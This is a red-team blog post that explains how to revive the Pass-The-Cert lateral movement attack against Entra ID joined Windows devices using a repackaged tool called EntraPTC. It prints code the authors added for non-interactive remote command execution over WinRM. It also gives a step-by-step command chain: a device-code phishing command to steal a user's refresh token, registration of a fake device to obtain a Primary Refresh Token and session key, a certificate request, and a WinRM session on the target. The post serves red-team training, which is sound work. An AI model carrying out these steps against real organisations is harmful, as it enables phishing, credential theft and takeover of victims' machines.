top of page

Long Live Pass-The-Cert: Reviving the Classical Rendition of Lateral Movement across Entra ID joined Devices

  • Writer: Hitesh Duseja
    Hitesh Duseja
  • 2d
  • 5 min read

Hello Readers,

 

Today, we will explore one attack path which had fizzled out in the past few years. We are talking about Pass-The-Cert Attack, which was first brought to light through the work of Security Researcher Mor Rubin in 2020.


What was the original Pass-The-Cert Attack?


The flow for the original Pass-The-Cert attack is as follows:


  • An adversary would dump the PRT (Base64 encoded Primary Refresh Token), session key (clear key protected by DPAPI) using mimikatz for an Entra ID user who has local administrative privileges on the target machine.

  • Using the Entra ID UserName, TenantId in conjunction with PRT, requested Nonce, a Certificate Signing Request JWT would be constructed.

  • Session key and randomly generated security context would be used to compute the derived key using KDFv1 algorithm. The use of this derived key is to sign the JWT request.

  • The adversary can now request a P2P certificate from Entra ID in exchange of the JWT request.

  • Using the received certificate, PKU2U (Public Key Cryptography Based User-to-User authentication) protocol implemented in form of SSP in Windows, would be used upon exchange of NegoEx messages between adversary’s client machine and target Entra ID joined device.

  • Once the authentication is complete, access protocols such as SMB can be used to gain control of the target machine.


You can read more about the technical details of the attack in the original blog-post here.


Change in Key Derivation Algorithm:


However, in July 2021, due to CVE-2021-33781, Microsoft has deprecated KDFv1. With this, Microsoft introduced KDFv2, which is more secure. The change can be attributed to how derived key is computed, which can be summarized as shown below:

ree

As KDFv2 was not rendered in PrtToCert tool, the lateral movement using the original Pass-The-Cert method were unsuccessful since then.


Revival in 2025:


In June of 2025, at TROOPERS 2025, Secureworks Security Researcher Yuya Chudo brought the attack back to life by implementing KDFv2 along with support for multiple protocols such as SMB, WinRM, RPC and RDP in form of EntraPassTheCert.


Modifications in code:


EntraPassTheCert tool has been written in python. For ease of use, we at Altered Security have made few modifications (details to follow) and converted the tool into Windows binary format (.exe). We call the tool as EntraPTC. It can be downloaded from here.


We had the following goals when updating the source code of EntraPTC:

  • To be able to use it for non-interactive command execution.

  • To be able to use it without installing any dependencies with the help of single packaged Windows Binary.


To achieve the first goal, we decided to use WinRM protocol as the module already has the python definition of run_cmd under Dunder init file. Hence, we introduced the following snippets of the code in entraptc.py, which used those functions and added corresponding code in the menu for parsing arguments.


...
...

def winrmcmd(target, pfx, pfxpass, cmdexec=None, psexec=None):
    shell = WinRM(target, auth=(None, pfx, pfxpass))
    info(f'connecting to {target} via WinRM...')
    
    try: 
        shell.start()
        success('sucessfully logged-on to the system!\n')
        if (cmdexec is None and psexec is None) or (cmdexec is not None and psexec is not None):
            raise ValueError("You must provide exactly one of cmdexec or psexec")
        
        if cmdexec:
            result = shell.run_cmd(cmdexec)
        if psexec:
            result = shell.run_cmd(psexec)
        stdout = result.std_out.decode("utf-8").strip()
        stderr = result.std_err.decode("utf-8").strip() if result.std_err else None

        print(f"Output:\n{stdout}")
        if stderr:
           print(f"Error:\n{stderr}")
        print(f"Exit Code: {result.status_code}")
    except Exception as e:
        error(f"Execution failed: {e}")
    finally:
        if shell.shell_id:
            shell.protocol.close_shell(shell.shell_id)
    return

...
...

winrmcmd_parser = subparsers.add_parser("winrmcmd", help="WinRM to Entra joinned machine with P2P cert with non interactive execution in cmd or powershell")
    winrmcmd_parser.add_argument("--pfx", type=str, required=False, default='p2pcert.pfx', help="P2P cert pfx")
    winrmcmd_parser.add_argument("--pfxpw", type=str, required=False, help="password for P2P cert file", default='password')
    winrmcmd_parser.add_argument("--target", type=str, required=True, help="target machine's ip address or domain name")
    winrmcmdgroup = winrmcmd_parser.add_mutually_exclusive_group(required=True)
    winrmcmdgroup.add_argument("--cmdexec", type=str, help="non interactive command to execute")
    winrmcmdgroup.add_argument("--psexec", type=str, help="non interactive powershell command to execute")

..
..

elif args.command == 'winrmcmd':
            winrmcmd(args.target, args.pfx, args.pfxpw, args.cmdexec, args.psexec)dddddd

To achieve the second goal, we simply used pyinstaller with upx to properly package and convert the python source code into a Windows binary (.exe).


Demonstration:


Now, let’s understand how to use the EntraPTC tool using a demonstration:


  1. Consider a scenario, where we have obtained refresh token of an Entra ID user (intuneuser@contoso.onmicrosoft.com) using device code phishing for Device Registration Endpoint with Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) as client id. The user must be a part of local administrators group on the target device. To generate the device code link in phishing engagement, we would be using roadtx in a python virtual environment.

roadtx gettokens --device-code -r devicereg -c 29d9ed98-a469-4536-ade2-f981bc1d605e
ree
  1. Once we have obtained refresh token, we can use roadtx to register a fake device to obtain Primary Refresh Token and Session Key in roadtx.prt file.

roadtx device -a join -n <devicename>
ree
$REFRESHTOKEN = (cat C:\AzAD\Tools\ROADTools\.roadtools_auth | ConvertFrom-Json | select-object refreshToken).refreshToken
ree
roadtx prt -c C:\AzAD\Tools\ROADTools\<devicename>.pem -k C:\AzAD\Tools\ROADTools\<devicename>.key -r $REFRESHTOKEN
ree
  1. Next, we can extract the PRT and SessionKey from the roadtx.prt file to use in the subsequent step.

$PRT=(cat C:\AzAD\Tools\ROADTools\roadtx.prt | ConvertFrom-Json | select-object refresh_token).refresh_Token

$SESSIONKEY=(cat C:\AzAD\Tools\ROADTools\roadtx.prt | ConvertFrom-Json | select-object session_key).session_key
ree
  1. We can use entraptc.exe and pass PRT and Session Key to generate the certificate.

C:\AzAD\Tools\EntraPTC\entraptc.exe request_p2pcert --prt $PRT --sessionkey $SESSIONKEY
ree
  1. Then, we can perform Pass-The-Cert Attack by mentioning protocol such as WinRM to obtain a session for command execution on the target device.

C:\AzAD\Tools\EntraPTC\entraptc.exe winrm --target <target-IP> --pfx C:\AzAD\Tools\EntraPTC\p2pcert.pfx
ree

Bonus Section:


In red teaming engagements, WSL can play a vital role in using open-source adversary tradecraft written for Linux environments especially when targeting Windows devices for lateral movement. So, we can use the following steps for setting up the EntraPTC tool in python format as released on GitHub.


  1. Download and install WSLv2, if not done already. You may refer to this Microsoft Documentation, if required.

  2. Install Ubuntu distribution using the following command:

wsl --install Ubuntu
  1. Now, we can start Ubuntu’s WSL instance and install the prerequisites.

wsl
sudo apt update
sudo apt install -y python$(python3 --version | awk '{print $2}' | cut -d '.' -f 1,2)-venv
sudo apt install -y python$(python3 --version | awk '{print $2}' | cut -d '.' -f 1,2)-dev
sudo apt install -y build-essential
sudo apt install -y libqt6gui6 libqt6core6 libqt6widgets6
sudo apt install -y jq
sudo apt install -y libssl-dev openssl
  1. We have assumed that the WSL username is wsluser. So, navigate to its home directory or wherever you wish to install the EntraPTC tool.

cd /home/wsluser;
  1. As system level prerequisites are completed, Its time to move on to installing dependencies in python virtual environment.

python3 -m venv ptc;
source ptc/bin/activate;
cd ptc;
pip install --force-reinstall --no-deps git+https://github.com/wbond/oscrypto.git@d5f3437
pip install impacket
pip install PyQt6 PyJWT requests
pip install -r requirements.txt
  1. We are now ready to us EntraPTC on WSL for certificate generation and interaction with our target.

python3 entraptc.py

Conclusion:

The Pass-The-Certificate Attack has been given renewed life for abuse as a lateral movement vector among Entra ID joined devices.

This is crucial step as it can assist in starting a chain reaction when compromising an Entra ID joined enterprise environment to hop from one device to another and unearthing target organization's data, along the way, for exfiltration and further abuse.


If you are interested to learn more on how can we do Pass-The-Cert attack without plain text credentials, look no further. We have a dedicated lab around the classic scenario with much more content in the Certified by Altered Security Red Team Professional for Azure (CARTP) course. Sign up today!!


References:



Thank You for Reading this blog post on EntraPTC. If you have any questions or feedback, feel free to reach out!


Posted by:


Hitesh Duseja

Security Researcher at AlteredSecurity

 
 
bottom of page